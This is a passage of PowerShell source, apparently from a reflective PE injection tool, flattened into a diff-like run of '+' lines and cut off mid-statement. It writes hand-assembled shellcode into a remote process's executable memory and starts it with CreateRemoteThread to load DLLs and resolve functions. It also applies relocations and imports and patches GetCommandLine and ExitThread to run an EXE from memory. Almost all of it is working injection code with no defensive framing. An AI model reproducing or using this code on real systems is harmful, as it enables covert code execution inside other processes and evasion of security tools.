$LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + 